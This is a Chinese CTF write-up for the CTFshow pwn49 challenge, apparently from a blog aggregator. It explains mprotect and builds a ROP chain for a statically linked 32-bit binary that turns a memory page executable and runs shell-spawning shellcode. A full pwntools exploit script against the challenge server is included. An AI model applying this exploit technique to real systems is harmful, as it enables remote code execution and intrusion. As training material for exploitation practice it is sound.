CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)

2023-11-06

pwn49

在这里插入图片描述
首先我们先将pwn文件下载下来,然后赋上可执行权限,再来查看pwn文件的保护信息。

chomd +x pwn
checksec pwn
file pwn

在这里插入图片描述
我们可以看到这是一个32位的pwn文件,并且保护信息开启了NX和canary,也就是堆栈不可执行且有canary。最最最重要的是这个文件是statically linked!!!静态编译文件呀!

根据题目的提示,我们可能需要用到mprotect函数,那我们就先来了解一下什么是mprotect函数吧。这个函数是只要是静态链接的文件都会有的哦。

mprotect()函数可以修改调用进程内存页的保护属性,如果调用进程尝试以违反保护属性的方式访问该内存,则内核会发出一个SIGSEGV信号给该进程。
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
这里的参数prot:
r:4
w:2
x:1
prot为7(1+2+4)就是rwx可读可写可执行,与linux文件属性用法类似

OK,开始做题,我们先来将pwn文件拖入ida中反编译一下,查看一下反编译的c代码。

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_0();
  logo();
  ctfshow();
  return 0;
}
// ctfshow
int ctfshow()
{
  char v1[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, v1, 100);
}

可以算出偏移地址为0x12 + 0x4 = 22
既然程序是静态连接,并且里面没有system函数,我们就不能使用ret2libc来打了。所以我们就是用mprotect函数来打,因为mprotect函数可以修改一段内存空间的权限,那我们选择一段内存空间将它的权限修改为可读可写可执行,然后将shellcode写在这段空间,之后再将程序的控制流转到这里,不就可以执行shellcode了嘛?即使文件开启了NX,但是我们利用的是栈之外的空间,不久轻松绕过了NX。hhh

下面我们开始构思我们的ROP链:
首先肯定是先来22个填充数据:

payload = 22 * 'a'

然后接下来就是ctfshow函数的返回地址,我们将返回地址设为mprotect函数的地址。我们使用gdb pwn动态调试,使用diass mprotect命令查看汇编代码就能看到mprotect函数的起始地址了。
在这里插入图片描述
我们看到mprotect函数的地址为:0x0806cdd0
那么我们的ROP链就延长为:

payload = 22 * 'a' 
payload += p32(0x0806cdd0)

接下来就是再填入一个mprotect函数的返回地址,这个返回地址可是大有讲究,因为我们需要将它的返回地址设置为read函数的地址,这样我们才能利用read函数将shellcode写到内存空间里。
这样我们的大概思路就是:
填充地址 + mprotect函数 + 返回地址 + mprotect的三个参数 + read函数
我们看到mprotect函数是有三个参数的我们就必须要找到一个具有三个pop一个ret的gadget,因为,我们将三个参数pop之后,栈顶就是read函数的地址了,这样ret之后就跳到read函数执行了。

我们使用ROPgadget --binary pwn --only “pop|ret” | grep "pop"这条命令来找具有3个pop1个ret的gadget。
在这里插入图片描述
那我们就选用这个第三个gadget,地址是0x08056194。
然后再gdb pwn,调试disass ctfshow查看ctfshow的汇编代码就能看到read函数的地址了。
在这里插入图片描述
可以看到read函数地址为:0x806bee0

然后我们再来确定mprotect函数的参数:
第一个参数,我们要修改权限的内存空间起始地址,我们就是用got表的起始地址来存放shellcode。我们使用readelf -S pwn命令可以查看所有节头信息,里边就包含got表的起始地址。
在这里插入图片描述
我们找到了got表的起始地址为:0x080da000
然后第二个参数是修改的空间大小为多少,我们就选用0x1000,足够我们的shellcode使用了。
第三个参数的我们对这片空间赋予的权限是什么,7代表可读可写可执行,这就跟linux文件权限的道理是一样的。

这样我们新的ROP链就为:

payload = 22 * 'a' 
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址	
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限
payload += p32(0x806bee0) # read函数地址

接下来就是我们的read函数了。
开始调用read函数ROP链的大概图为:
read函数 + read函数返回地址(就是我们shellcode所在地址-即我们修改的内存空间的起始地址) + read参数1 + read参数2(就是我们shellcode地址) + read参数3(read读取的大小)

这样的话我们就只需要获取read参数3就行了,因为返回地址即shellcode地址都已经找出了,参数1就写0就行,参数3的大小只要不小于shellcode的长度就行。
新的ROP链为:

payload = 22 * 'a' 
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址	
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0) # read函数地址
payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0) 
payload += p32(0x080da000) # shellcode地址
payload += p32(len(shellcode))

之后我们就可以先将ROP链发送过去,这时程序控制流就会执行我们ROP链中的read函数,然后我们再把我们的shellcode发送过去,就成功了!

完整wp:

from pwn import *

p = remote("pwn.challenge.ctf.show", "28141")
payload = 22 * 'a'
payload += p32(0x0806cdd0)# mprotect函数地址
payload += p32(0x08056194)# 3 pop 1 ret地址	
payload += p32(0x080da000)# 需要修改的内存的起始地址
payload += p32(0x1000)# 修改内存空间的大小
payload += p32(0x7)# 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0)# read函数地址
payload += p32(0x080da000)# read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000)# shellcode地址
payload += p32(len(shellcode))
p.recvuntil("    * *************************************                           ")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

执行效果:
在这里插入图片描述
在这里插入图片描述
成功拿到flag!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用) 的相关文章

  • pandas之汇总和计算描述统计

    文章目录 一 简介 二 汇总和计算描述统计 2 1 sum 值的总和 2 1 1 直接求和 df sum 2 1 2 对行求和 df sum axis 1 2 2 类sum 2 3 相关系数 协方差 2 3 1 DataFrame计算相关系
  • 总结使用libwebsockets开发接入层

    作者 邹祁峰 邮箱 Qifeng zou job hotmail com 博客 http blog csdn net qifengzou 日期 2015 12 13 2015 12 14 转载请注明来自 祁峰 的CSDN博客 1 引言 We

随机推荐

  • 苹果核 - Tangram 1.0技术架构

    上一篇文章介绍了Tangram的开发思路和发展历程 本文将对Tangram 1 0的技术架构做一个概括性的说明 读者如果要了解更多的技术细节可以访问Tangram主页查看详细文档 Tangram作为一个面向常规业务产品的解决方案由3个部分组
  • idea使用gerrit提交报错:missing Change-Id in commit message footer

    异常表现 commit push直接推送正常 commit push 勾选Push to Gerrit 报错 提示 remote remote Processing changes refs 1 remote Processing chan
  • STL之栈

    一 什么是栈 栈也是一种操作 或者说运算 受到限制的特殊线性表 其插入和删除操作都限制在表的一端进行 这一端被称为 栈顶 top 相对的另一端称为 栈底 bottom 两种操作 1 进栈 PUSH 或者 压栈 2 出栈 POP 栈的特点是
  • Android中必须学习的八大开源项目

    欢迎Follow我的GitHub 关注我的CSDN 其余参考Android目录 转载请注明出处 http blog csdn net xiaole0313 article details 52562041 1 Ghost 微影 一款纯粹的在
  • 伺服速度控制模式接线图_PLC采用转矩、位置、速度模式控制伺服电机的方法

    原标题 PLC采用转矩 位置 速度模式控制伺服电机的方法 今天为大家讲解的是关于PLC控制伺服电机三种方式 一 转矩控制 二 位置控制 三 速度模式 一 转矩控制 转矩控制方式是通过外部模拟量的输入或直接的地址的赋值来设定电机轴对外的输出转
  • top-K 算法总结

    问题描述 有 N N gt 1000000 个数 求出其中的前K个最小的数 又被称作topK问题 1 最基本思路 将N个数进行完全排序 从中选出排在前K的元素即为所求 有了这个思路 我们可以选择相应的排序算法进行处理 目前来看快速排序 堆排
  • 【APT检测——论文精读】SLEUTH: Real-time Attack Scenario Reconstruction from COTS Audit Data

    2017 USENIX Security 顶会 Abstract 提出了一种实时重建企业主机攻击场景的方法和系统 为了满足问题的可扩展性和实时性需求 我们开发了一个平台中立的 基于主存的 并使用依赖图来抽象审计数据 然后 我们提出了有效的
  • redux成员、store成员、redux的数据流转、redux如何配合react-redux使用?react-redux的常用API、react-redux、redux和vuex的区别是什么?

    文章目录 前言 一 redux 1 redux三大原则 2 redux的安装 3 redux成员 4 store成员 5 数据流动 6 redux操作流程 7 action里处理异步 8 combineReducers提取reducer 二
  • java实验:电商购物平台(demo)

    课程融合之电商购物平台 将之前所学的知识都融合起来运用 是我目前做过最复杂的项目 不出意外会长期更新 文章目录 前言 实验内容 根据电商购物平台项目需求说明书的要求 抽象出电商购物平台中商品类目类和商品类 并用数组模拟商品数据库 完成商品信
  • vue el-table动态表格表头+对应数据

    vue el table动态表格创建 动态渲染表头 动态匹配表头对应数据 在这里插入代码片
  • SQLmap常用命令/使用教程

    SQLmap是一款自动化SQL注入神器 用于SQL注入漏洞的检测和利用 支持多种数据库 检测位置 u 指定url GET请求 p 指定参数 url包含多个参数时 指定参数 data 指定POST请求参数 cookie 指定cookie参数
  • 线性代数06 矩阵的逆以及求法

    我们已经了解了对于方程组来说 如何根据他的系数矩阵的变化 来实现高斯 诺尔当消元算法 并可以快速的判断方程组的解的情况 这样看上去非常的完美 但是我们在线性代数中 还有一个非常重要的部分就是矩阵的运算 似乎除了初等变换以外 现在目前还对任何
  • 可以这样学习linux命令

    通过综合练习 可以强化linux命令的学习 带着问题学习linux命令及其相关知识 是十分有效的方法 我们通过查询当前目录下的子目录这个问题 学习与训练linux 中一些重要命令 综合练习强于单个命令的分散学习 知识的串联 可以打通知识结点
  • python数组(矩阵)乘法(点乘、叉乘)

    转载 https blog csdn net haiziccc article details 101361583 总结 1 tf matmul A C np dot A C A C都属于叉乘 而tf multiply A C A C A
  • STM32的IAP在线升级

    IAP简介 简介部分copy自正点原子 IAP In Application Programming 即在应用编程 IAP 是用户自己的程序在运行过程中对User Flash 的部分区域进行烧写 目的是为了在产品发布后可以方便地通过预留的通
  • redhat 6.4安装oracle11g RAC (三)

    为数据和快速恢复去创建ASM磁盘组 只在节点rac1执行即可 进入grid用户下 grid rac1 grid srvctl status asm a ASM is running on rac2 rac1 ASM is enabled g
  • 快速浮点开方运算

    二分法 浮点开方也就是给定一个浮点数x 求根号x 这个简单的问题有很多解 我们从最简单最容易想到的二分开始讲起 利用二分进行开平方的思想很简单 就是假定中值为最终解 假定下限为0 上限为x 然后求中值 然后比较中值的平方和x的大小 并根据大
  • FISCO BCOS(二十)——— FISCO BCOS多群组搭建

    1 创建文件夹 创建目录 root wyg virtual machine mkdir fisco 2 创建配置文件 root wyg virtual machine fisco vim ipconf 3 建链 root wyg virtu
  • 【C++】封装的详细介绍

    目录 1 封装的意义 2 struct和class的区别 3 成员属性设置为私有 1 封装的意义 封装是C 面向对象的三大特性之一 封装的意义 1 将属性和行为作为一个整体 表现生活中的事物 2 将属性和行为加以权限控制 public公共权
  • CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)

    pwn49 首先我们先将pwn文件下载下来 然后赋上可执行权限 再来查看pwn文件的保护信息 chomd x pwn checksec pwn file pwn 我们可以看到这是一个32位的pwn文件 并且保护信息开启了NX和canary